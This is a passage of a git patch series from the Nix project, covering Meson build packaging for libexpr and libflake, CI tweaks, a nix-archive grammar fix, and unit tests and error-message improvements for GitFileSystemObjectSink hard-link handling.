entry) { + [&](const CanonPath & name, const auto & entry) { mkSinkHook( - prefix + "/" + name, + prefix / name, entry.hash, // N.B. this cast would not be acceptable in real // code, because it would make an assert reachable, @@ -227,7 +227,7 @@ TEST_F(GitTest, both_roundrip) { mockXpSettings); }; - mkSinkHook("", root.hash, BlobMode::Regular); + mkSinkHook(CanonPath{""}, root.hash, BlobMode::Regular); ASSERT_EQ(*files, *files2); } From 39154ed9bed23cf576c1681068677814d91496c6 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 30 Jun 2024 17:10:34 +0200 Subject: [PATCH 0928/1251] ci.yml: Put installer cachix in verbose mode Maybe it prints something, as a workaround for https://github.com/cachix/cachix-action/issues/153, which might explain our flaky installer_test. --- .github/workflows/ci.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 103ce4ff4..c4939dd11 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -96,6 +96,7 @@ jobs: name: '${{ env.CACHIX_NAME }}' signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}' authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}' + cachixArgs: '-v' - id: prepare-installer run: scripts/prepare-installer-for-github-actions From 5a16bf86c518037f05bffbee0d73d715b672908b Mon Sep 17 00:00:00 2001 From: Sergei Trofimovich Date: Sun, 30 Jun 2024 17:22:04 +0100 Subject: [PATCH 0929/1251] doc: fix `directory` definition in nix-archive.md (#10997) * doc: fix `directory` definition in nix-archive.md Before the change the document implied that directory of a single entry contained entry: "type" "directory" "type" directory" "entry" ... After the change document should expand into: "type" "directory" "entry" ... Co-authored-by: John Ericson --- doc/manual/src/protocols/nix-archive.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/protocols/nix-archive.md b/doc/manual/src/protocols/nix-archive.md index bfc523b3d..640b527f1 100644 --- a/doc/manual/src/protocols/nix-archive.md +++ b/doc/manual/src/protocols/nix-archive.md @@ -29,7 +29,7 @@ regular = [ str("executable"), str("") ], str("contents"), str(contents); symlink = str("target"), str(target); (* side condition: directory entries must be ordered by their names *) -directory = str("type"), str("directory") { directory-entry }; +directory = { directory-entry }; directory-entry = str("entry"), str("("), str("name"), str(name), str("node"), nar-obj, str(")"); ``` From e084316130a255313eb026db8bc64a653f5ffb0c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 29 Jun 2024 19:28:09 +0200 Subject: [PATCH 0930/1251] Add mkMesonPackage for local meson packages This helper makes it easy to use filesets that include files from parent directories, which we'll need more of in https://github.com/NixOS/nix/pull/10973 --- packaging/dependencies.nix | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix index 88273df22..484385128 100644 --- a/packaging/dependencies.nix +++ b/packaging/dependencies.nix @@ -10,6 +10,33 @@ stdenv, versionSuffix, }: +let + inherit (pkgs) lib; + + localSourceLayer = finalAttrs: prevAttrs: + let + root = ../.; + workDirPath = + # Ideally we'd pick finalAttrs.workDir, but for now `mkDerivation` has + # the requirement that everything except passthru and meta must be + # serialized by mkDerivation, which doesn't work for this. + prevAttrs.workDir; + + workDirSubpath = lib.path.removePrefix root workDirPath; + sources = assert prevAttrs.fileset._type == "fileset"; prevAttrs.fileset; + src = lib.fileset.toSource { fileset = sources; inherit root; }; + + in + { + sourceRoot = "${src.name}/" + workDirSubpath; + inherit src; + + # Clear what `derivation` can't/shouldn't serialize; see prevAttrs.workDir. + fileset = null; + workDir = null; + }; + +in scope: { inherit stdenv versionSuffix; @@ -55,4 +82,6 @@ scope: { CONFIG_ASH_TEST y ''; }); + + mkMesonDerivation = f: stdenv.mkDerivation (lib.extends localSourceLayer f); } From 7dd938b228c0dc5c5e42eb0efcbbe9929bde9f90 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 30 Jun 2024 19:42:05 +0200 Subject: [PATCH 0931/1251] libutil/package.nix: Remove .version symlink replacement solution --- src/libutil/package.nix | 33 +++++++++++++++------------------ 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/src/libutil/package.nix b/src/libutil/package.nix index 892951cdf..1996a6c4d 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -38,22 +39,22 @@ let else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-util"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - ./meson.options - ./linux/meson.build - ./unix/meson.build - ./windows/meson.build - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../.version + ./.version + ./meson.build + ./meson.options + ./linux/meson.build + ./unix/meson.build + ./windows/meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -80,13 +81,9 @@ mkDerivation (finalAttrs: { disallowedReferences = [ boost ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix - '' - echo ${version} > .version - '' # Copy some boost libraries so we don't get all of Boost in our # closure. https://github.com/NixOS/nixpkgs/issues/45462 - + lib.optionalString (!stdenv.hostPlatform.isStatic) ('' + lib.optionalString (!stdenv.hostPlatform.isStatic) ('' mkdir -p $out/lib cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib rm -f $out/lib/*.a From 93b50857edbee33c7c6522d4d5971b5081c5b7c1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 30 Jun 2024 17:25:32 +0200 Subject: [PATCH 0932/1251] packaging: Restore .version value altering behavior --- src/libutil/package.nix | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/libutil/package.nix b/src/libutil/package.nix index 1996a6c4d..8ba6daa2a 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -81,9 +81,14 @@ mkMesonDerivation (finalAttrs: { disallowedReferences = [ boost ]; preConfigure = + # TODO: change release process to add `pre` in `.version`, remove it before tagging, and restore after. + '' + chmod u+w ./.version + echo ${version} > ../../.version + '' # Copy some boost libraries so we don't get all of Boost in our # closure. https://github.com/NixOS/nixpkgs/issues/45462 - lib.optionalString (!stdenv.hostPlatform.isStatic) ('' + + lib.optionalString (!stdenv.hostPlatform.isStatic) ('' mkdir -p $out/lib cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib rm -f $out/lib/*.a From 992912f3b4a0eb8aaa7f27e5cb67e351b6ab07ac Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 1 Jul 2024 17:12:34 +0200 Subject: [PATCH 0933/1251] test-support: Add TracingFileSystemObjectSink --- src/libutil/fs-sink.hh | 2 +- .../tests/tracing-file-system-object-sink.cc | 33 +++++++++++++++ .../tests/tracing-file-system-object-sink.hh | 41 +++++++++++++++++++ 3 files changed, 75 insertions(+), 1 deletion(-) create mode 100644 tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc create mode 100644 tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh diff --git a/src/libutil/fs-sink.hh b/src/libutil/fs-sink.hh index 994f19960..32dcb2f01 100644 --- a/src/libutil/fs-sink.hh +++ b/src/libutil/fs-sink.hh @@ -45,7 +45,7 @@ struct FileSystemObjectSink * An extension of `FileSystemObjectSink` that supports file types * that are not supported by Nix's FSO model. */ -struct ExtendedFileSystemObjectSink : FileSystemObjectSink +struct ExtendedFileSystemObjectSink : virtual FileSystemObjectSink { /** * Create a hard link. The target must be the path of a previously diff --git a/tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc new file mode 100644 index 000000000..737e02213 --- /dev/null +++ b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc @@ -0,0 +1,33 @@ +#include +#include "tracing-file-system-object-sink.hh" + +namespace nix::test { + +void TracingFileSystemObjectSink::createDirectory(const Path & path) +{ + std::cerr << "createDirectory(" << path << ")\n"; + sink.createDirectory(path); +} + +void TracingFileSystemObjectSink::createRegularFile(const Path & path, std::function fn) +{ + std::cerr << "createRegularFile(" << path << ")\n"; + sink.createRegularFile(path, [&](CreateRegularFileSink & crf) { + // We could wrap this and trace about the chunks of data and such + fn(crf); + }); +} + +void TracingFileSystemObjectSink::createSymlink(const Path & path, const std::string & target) +{ + std::cerr << "createSymlink(" << path << ", target: " << target << ")\n"; + sink.createSymlink(path, target); +} + +void TracingExtendedFileSystemObjectSink::createHardlink(const Path & path, const CanonPath & target) +{ + std::cerr << "createHardlink(" << path << ", target: " << target << ")\n"; + sink.createHardlink(path, target); +} + +} // namespace nix::test diff --git a/tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh new file mode 100644 index 000000000..9527b0be3 --- /dev/null +++ b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh @@ -0,0 +1,41 @@ +#pragma once +#include "fs-sink.hh" + +namespace nix::test { + +/** + * A `FileSystemObjectSink` that traces calls, writing to stderr. + */ +class TracingFileSystemObjectSink : public virtual FileSystemObjectSink +{ + FileSystemObjectSink & sink; +public: + TracingFileSystemObjectSink(FileSystemObjectSink & sink) + : sink(sink) + { + } + + void createDirectory(const Path & path) override; + + void createRegularFile(const Path & path, std::function fn); + + void createSymlink(const Path & path, const std::string & target); +}; + +/** + * A `ExtendedFileSystemObjectSink` that traces calls, writing to stderr. + */ +class TracingExtendedFileSystemObjectSink : public TracingFileSystemObjectSink, public ExtendedFileSystemObjectSink +{ + ExtendedFileSystemObjectSink & sink; +public: + TracingExtendedFileSystemObjectSink(ExtendedFileSystemObjectSink & sink) + : TracingFileSystemObjectSink(sink) + , sink(sink) + { + } + + void createHardlink(const Path & path, const CanonPath & target); +}; + +} From 1fac22b16e216e3ab8850d542be587eb379605b6 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 1 Jul 2024 17:13:48 +0200 Subject: [PATCH 0934/1251] GitFileSystemObjectSink: Add path context to some messages --- src/libfetchers/git-utils.cc | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index ca02fbc89..c41cfe683 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -927,7 +927,7 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink std::string_view relTargetLeft(relTarget); while (hasPrefix(relTargetLeft, "../")) { if (dir == pendingDirs.rend()) - throw Error("invalid hard link target '%s'", target); + throw Error("invalid hard link target '%s' for path '%s'", target, path); ++dir; relTargetLeft = relTargetLeft.substr(3); } @@ -940,13 +940,14 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink for (auto & c : CanonPath(relTargetLeft)) { if (auto builder = std::get_if(&curDir)) { + assert(*builder); if (!(entry = git_treebuilder_get(*builder, std::string(c).c_str()))) - throw Error("cannot find hard link target '%s'", target); + throw Error("cannot find hard link target '%s' for path '%s'", target, path); curDir = *git_tree_entry_id(entry); } else if (auto oid = std::get_if(&curDir)) { tree = lookupObject(*repo, *oid, GIT_OBJECT_TREE); if (!(entry = git_tree_entry_byname((const git_tree *) &*tree, std::string(c).c_str()))) - throw Error("cannot find hard link target '%s'", target); + throw Error("cannot find hard link target '%s' for path '%s'", target, path); curDir = *git_tree_entry_id(entry); } } From a409c1a882e65878476f58d033321eb05e163ab5 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 1 Jul 2024 17:22:26 +0200 Subject: [PATCH 0935/1251] Start unit testing GitFileSystemObjectSink --- tests/unit/libfetchers/git-utils.cc | 90 +++++++++++++++++++++++++++++ tests/unit/libfetchers/local.mk | 2 +- 2 files changed, 91 insertions(+), 1 deletion(-) create mode 100644 tests/unit/libfetchers/git-utils.cc diff --git a/tests/unit/libfetchers/git-utils.cc b/tests/unit/libfetchers/git-utils.cc new file mode 100644 index 000000000..c007d1c3c --- /dev/null +++ b/tests/unit/libfetchers/git-utils.cc @@ -0,0 +1,90 @@ +#include "git-utils.hh" +#include "file-system.hh" +#include "gmock/gmock.h" +#include +#include +#include +#include +#include "fs-sink.hh" +#include "serialise.hh" + +namespace nix { + +class GitUtilsTest : public ::testing::Test +{ + // We use a single repository for all tests. + Path tmpDir; + std::unique_ptr delTmpDir; + +public: + void SetUp() override + { + tmpDir = createTempDir(); + delTmpDir = std::make_unique(tmpDir, true); + + // Create the repo with libgit2 + git_libgit2_init(); + git_repository * repo = nullptr; + auto r = git_repository_init(&repo, tmpDir.c_str(), 0); + ASSERT_EQ(r, 0); + git_repository_free(repo); + } + + void TearDown() override + { + // Destroy the AutoDelete, triggering removal + // not AutoDelete::reset(), which would cancel the deletion. + delTmpDir.reset(); + } + + ref openRepo() + { + return GitRepo::openRepo(tmpDir, true, false); + } +}; + +void writeString(CreateRegularFileSink & fileSink, std::string contents, bool executable) +{ + if (executable) + fileSink.isExecutable(); + fileSink.preallocateContents(contents.size()); + fileSink(contents); +} + +TEST_F(GitUtilsTest, sink_basic) +{ + auto repo = openRepo(); + auto sink = repo->getFileSystemObjectSink(); + + // TODO/Question: It seems a little odd that we use the tarball-like convention of requiring a top-level directory + // here + // The sync method does not document this behavior, should probably renamed because it's not very + // general, and I can't imagine that "non-conventional" archives or any other source to be handled by + // this sink. + + sink->createDirectory("foo-1.1"); + + sink->createRegularFile( + "foo-1.1/hello", [](CreateRegularFileSink & fileSink) { writeString(fileSink, "hello world", false); }); + sink->createRegularFile("foo-1.1/bye", [](CreateRegularFileSink & fileSink) { + writeString(fileSink, "thanks for all the fish", false); + }); + sink->createSymlink("foo-1.1/bye-link", "bye"); + sink->createDirectory("foo-1.1/empty"); + sink->createDirectory("foo-1.1/links"); + sink->createHardlink("foo-1.1/links/foo", CanonPath("foo-1.1/hello")); + + // sink->createHardlink("foo-1.1/links/foo-2", CanonPath("foo-1.1/hello")); + + auto result = sink->sync(); + auto accessor = repo->getAccessor(result, false); + auto entries = accessor->readDirectory(CanonPath::root); + ASSERT_EQ(entries.size(), 5); + ASSERT_EQ(accessor->readFile(CanonPath("hello")), "hello world"); + ASSERT_EQ(accessor->readFile(CanonPath("bye")), "thanks for all the fish"); + ASSERT_EQ(accessor->readLink(CanonPath("bye-link")), "bye"); + ASSERT_EQ(accessor->readDirectory(CanonPath("empty")).size(), 0); + ASSERT_EQ(accessor->readFile(CanonPath("links/foo")), "hello world"); +}; + +} // namespace nix diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk index d576d28f3..f4e56a501 100644 --- a/tests/unit/libfetchers/local.mk +++ b/tests/unit/libfetchers/local.mk @@ -29,7 +29,7 @@ libfetchers-tests_LIBS = \ libstore-test-support libutil-test-support \ libfetchers libstore libutil -libfetchers-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) +libfetchers-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) $(LIBGIT2_LIBS) ifdef HOST_WINDOWS # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space From f0329568b5afeddd03db4b969489e19a1bd2ee97 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 1 Jul 2024 17:14:27 +0200 Subject: [PATCH 0936/1251] GitFileSystemObjectSink: catch an overflow --- src/libfetchers/git-utils.cc | 2 ++ tests/unit/libfetchers/git-utils.cc | 20 ++++++++++++++++++++ 2 files changed, 22 insertions(+) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index c41cfe683..64fd39aed 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -931,6 +931,8 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink ++dir; relTargetLeft = relTargetLeft.substr(3); } + if (dir == pendingDirs.rend()) + throw Error("invalid hard link target '%s' for path '%s'", target, path); // Look up the remainder of the target, starting at the // top-most `git_treebuilder`. diff --git a/tests/unit/libfetchers/git-utils.cc b/tests/unit/libfetchers/git-utils.cc index c007d1c3c..3c06b593a 100644 --- a/tests/unit/libfetchers/git-utils.cc +++ b/tests/unit/libfetchers/git-utils.cc @@ -87,4 +87,24 @@ TEST_F(GitUtilsTest, sink_basic) ASSERT_EQ(accessor->readFile(CanonPath("links/foo")), "hello world"); }; +TEST_F(GitUtilsTest, sink_hardlink) +{ + auto repo = openRepo(); + auto sink = repo->getFileSystemObjectSink(); + + sink->createDirectory("foo-1.1"); + + sink->createRegularFile( + "foo-1.1/hello", [](CreateRegularFileSink & fileSink) { writeString(fileSink, "hello world", false); }); + + try { + sink->createHardlink("foo-1.1/link", CanonPath("hello")); + FAIL() << "Expected an exception"; + } catch (const nix::Error & e) { + ASSERT_THAT(e.msg(), testing::HasSubstr("invalid hard link target")); + ASSERT_THAT(e.msg(), testing::HasSubstr("/hello")); + ASSERT_THAT(e.msg(), testing::HasSubstr("foo-1.1/link")); + } +}; + } // namespace nix From 6600b1c7e07a87347505a80938739b2d44f763a7 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 1 Jul 2024 19:10:41 +0200 Subject: [PATCH 0937/1251] tests/functional/flakes/eval-cache.sh: Don't write a result symlink in the wrong location --- tests/functional/flakes/eval-cache.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/flakes/eval-cache.sh b/tests/functional/flakes/eval-cache.sh index d581a8dbd..e3fd0bbfe 100755 --- a/tests/functional/flakes/eval-cache.sh +++ b/tests/functional/flakes/eval-cache.sh @@ -36,4 +36,4 @@ expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks' # Conditional error should not be cached expect 1 nix build "$flake1Dir#ifd" --option allow-import-from-derivation false 2>&1 \ | grepQuiet 'error: cannot build .* during evaluation because the option '\''allow-import-from-derivation'\'' is disabled' -nix build "$flake1Dir#ifd" +nix build --no-link "$flake1Dir#ifd" From df3e92ff964ba7e87c426f4bbd621032811ab5e1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 1 Jul 2024 20:38:43 +0200 Subject: [PATCH 0938/1251] installerScriptForGHA: aarch64-darwin GitHub Actions seems to have magically switched architectures without changing their identifiers. See https://github.com/actions/runner-images/blob/2813ee66cbe85b31a8322ff8967148548b1a5db9/README.md#available-images Maybe they have more complete documentation elsewhere, but it seems to be incapable of selecting a runner based on architecture. --- packaging/hydra.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packaging/hydra.nix b/packaging/hydra.nix index 5715abd8e..a1691ed38 100644 --- a/packaging/hydra.nix +++ b/packaging/hydra.nix @@ -105,7 +105,7 @@ in installerScriptForGHA = installScriptFor [ # Native self.hydraJobs.binaryTarball."x86_64-linux" - self.hydraJobs.binaryTarball."x86_64-darwin" + self.hydraJobs.binaryTarball."aarch64-darwin" # Cross self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" From 101915c9b73cfe434457f380de4fbaea03430851 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Tue, 2 Jul 2024 08:35:56 +0200 Subject: [PATCH 0939/1251] enable -Werror=unused-result Inspired by https://git.lix.systems/lix-project/lix/commit/010ff57ebb40f1a9aaff99867d2886f0e59f774a From the original PR: > We do not have any of these warnings appearing at the moment, but > it seems like a good idea to enable [[nodiscard]] checking anyway. > Once we start introducing more functions with must-use conditions we will > need such checking, and the rust stdlib has proven them very useful. --- Makefile | 2 +- src/libfetchers/meson.build | 1 + src/libstore/meson.build | 1 + src/libutil-c/meson.build | 1 + src/libutil/meson.build | 1 + src/perl/meson.build | 5 ++++- tests/unit/libutil-support/meson.build | 1 + tests/unit/libutil/meson.build | 1 + 8 files changed, 11 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index 132fe29cc..bb64a104e 100644 --- a/Makefile +++ b/Makefile @@ -92,7 +92,7 @@ ifdef HOST_WINDOWS GLOBAL_LDFLAGS += -Wl,--export-all-symbols endif -GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wignored-qualifiers -Wimplicit-fallthrough -include $(buildprefix)config.h -std=c++2a -I src +GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wignored-qualifiers -Wimplicit-fallthrough -Werror=unused-result -include $(buildprefix)config.h -std=c++2a -I src # Include the main lib, causing rules to be defined diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index cab8d63eb..d7975ac65 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -58,6 +58,7 @@ add_project_arguments( '-Wimplicit-fallthrough', '-Werror=switch', '-Werror=switch-enum', + '-Werror=unused-result', '-Wdeprecated-copy', '-Wignored-qualifiers', # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked diff --git a/src/libstore/meson.build b/src/libstore/meson.build index a605b43e1..d9237c55a 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -164,6 +164,7 @@ add_project_arguments( '-Wimplicit-fallthrough', '-Werror=switch', '-Werror=switch-enum', + '-Werror=unused-result', '-Wdeprecated-copy', '-Wignored-qualifiers', # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index a2b020818..5de288e18 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -34,6 +34,7 @@ add_project_arguments( '-Wimplicit-fallthrough', '-Werror=switch', '-Werror=switch-enum', + '-Werror=unused-result', '-Wdeprecated-copy', '-Wignored-qualifiers', # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 9d0b28539..099c0c65f 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -143,6 +143,7 @@ add_project_arguments( '-Wimplicit-fallthrough', '-Werror=switch', '-Werror=switch-enum', + '-Werror=unused-result', '-Wdeprecated-copy', '-Wignored-qualifiers', # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked diff --git a/src/perl/meson.build b/src/perl/meson.build index 06abb4f2e..5fe7e1e28 100644 --- a/src/perl/meson.build +++ b/src/perl/meson.build @@ -23,11 +23,14 @@ nix_perl_conf.set('PACKAGE_VERSION', meson.project_version()) # set error arguments #------------------------------------------------- error_args = [ + '-Werror=unused-result', + '-Wdeprecated-copy', + '-Wdeprecated-declarations', + '-Wignored-qualifiers', '-Wno-pedantic', '-Wno-non-virtual-dtor', '-Wno-unused-parameter', '-Wno-variadic-macros', - '-Wdeprecated-declarations', '-Wno-missing-field-initializers', '-Wno-unknown-warning-option', '-Wno-unused-variable', diff --git a/tests/unit/libutil-support/meson.build b/tests/unit/libutil-support/meson.build index 5912c00e0..c0345a6ee 100644 --- a/tests/unit/libutil-support/meson.build +++ b/tests/unit/libutil-support/meson.build @@ -28,6 +28,7 @@ add_project_arguments( '-Wimplicit-fallthrough', '-Werror=switch', '-Werror=switch-enum', + '-Werror=unused-result', '-Wdeprecated-copy', '-Wignored-qualifiers', # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked diff --git a/tests/unit/libutil/meson.build b/tests/unit/libutil/meson.build index 56147686b..cc13c4364 100644 --- a/tests/unit/libutil/meson.build +++ b/tests/unit/libutil/meson.build @@ -34,6 +34,7 @@ add_project_arguments( '-Wimplicit-fallthrough', '-Werror=switch', '-Werror=switch-enum', + '-Werror=unused-result', '-Wdeprecated-copy', '-Wignored-qualifiers', # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked From fbdc5549085b1162109e8853799a627f479c5a72 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 26 Jun 2024 21:19:44 -0400 Subject: [PATCH 0940/1251] Fix Nix shell for building Perl too --- src/perl/package.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/src/perl/package.nix b/src/perl/package.nix index 85f1547b7..e1a84924c 100644 --- a/src/perl/package.nix +++ b/src/perl/package.nix @@ -40,6 +40,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { meson ninja pkg-config + perl ]; buildInputs = [ From 31257009e1562e00a4c99dd93e3e31e0c9074522 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 26 Jun 2024 22:15:33 -0400 Subject: [PATCH 0941/1251] Meson build for libexpr and libflake --- meson.build | 8 +- packaging/components.nix | 5 +- src/libexpr/.version | 1 + src/libexpr/meson.build | 254 +++++++++++++++++++++++++ src/libexpr/meson.options | 3 + src/libexpr/package.nix | 130 +++++++++++++ src/libexpr/primops/fetchTree.cc | 2 +- src/libfetchers/meson.build | 46 ++--- src/libfetchers/package.nix | 7 +- src/libflake/.version | 1 + src/libflake/meson.build | 120 ++++++++++++ src/libflake/package.nix | 99 ++++++++++ src/libstore/meson.build | 40 ++-- src/libstore/package.nix | 3 - tests/unit/libutil-support/meson.build | 39 ++-- tests/unit/libutil/meson.build | 95 ++++----- 16 files changed, 731 insertions(+), 122 deletions(-) create mode 120000 src/libexpr/.version create mode 100644 src/libexpr/meson.build create mode 100644 src/libexpr/meson.options create mode 100644 src/libexpr/package.nix create mode 120000 src/libflake/.version create mode 100644 src/libflake/meson.build create mode 100644 src/libflake/package.nix diff --git a/meson.build b/meson.build index 085ac0865..7832eb488 100644 --- a/meson.build +++ b/meson.build @@ -9,13 +9,19 @@ project('nix-dev-shell', 'cpp', subproject('libutil') subproject('libstore') subproject('libfetchers') -subproject('perl') +subproject('libexpr') +subproject('libflake') + +# Docs subproject('internal-api-docs') subproject('external-api-docs') # C wrappers subproject('libutil-c') +# Language Bindings +subproject('perl') + # Testing subproject('libutil-test-support') subproject('libutil-test') diff --git a/packaging/components.nix b/packaging/components.nix index b5e47969e..01b4e826e 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -19,10 +19,13 @@ in nix-fetchers = callPackage ../src/libfetchers/package.nix { }; - nix-perl-bindings = callPackage ../src/perl/package.nix { }; + nix-expr = callPackage ../src/libexpr/package.nix { }; + + nix-flake = callPackage ../src/libflake/package.nix { }; nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { }; nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { }; + nix-perl-bindings = callPackage ../src/perl/package.nix { }; } diff --git a/src/libexpr/.version b/src/libexpr/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libexpr/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build new file mode 100644 index 000000000..8f08decd4 --- /dev/null +++ b/src/libexpr/meson.build @@ -0,0 +1,254 @@ +project('nix-expr', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_public_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +configdata = configuration_data() + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-fetchers'), +] + if nix_dep.type_name() == 'internal' + deps_public_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_public += nix_dep + endif +endforeach + +# This is only conditional to work around +# https://github.com/mesonbuild/meson/issues/13293. It should be +# unconditional. +if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc') + deps_private += dependency('threads') +endif + +boost = dependency( + 'boost', + modules : ['container', 'context'], +) +# boost is a public dependency, but not a pkg-config dependency unfortunately, so we +# put in `deps_other`. +deps_other += boost + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +bdw_gc = dependency('bdw-gc', required : get_option('gc')) +if bdw_gc.found() + deps_public += bdw_gc + foreach funcspec : [ + 'pthread_attr_get_np', + 'pthread_getattr_np', + ] + define_name = 'HAVE_' + funcspec.underscorify().to_upper() + define_value = cxx.has_function(funcspec).to_int() + configdata.set(define_name, define_value) + endforeach + configdata.set('GC_THREADS', 1) +endif +configdata.set('HAVE_BOEHMGC', bdw_gc.found().to_int()) + +config_h = configure_file( + configuration : configdata, + output : 'config-expr.h', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.h', + '-include', 'config-store.h', + # '-include', 'config-fetchers.h', + '-include', 'config-expr.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +parser_tab = custom_target( + input : 'parser.y', + output : [ + 'parser-tab.cc', + 'parser-tab.hh', + ], + command : [ + 'bison', + '-v', + '-o', + '@OUTPUT0@', + '@INPUT@', + '-d', + ], + # 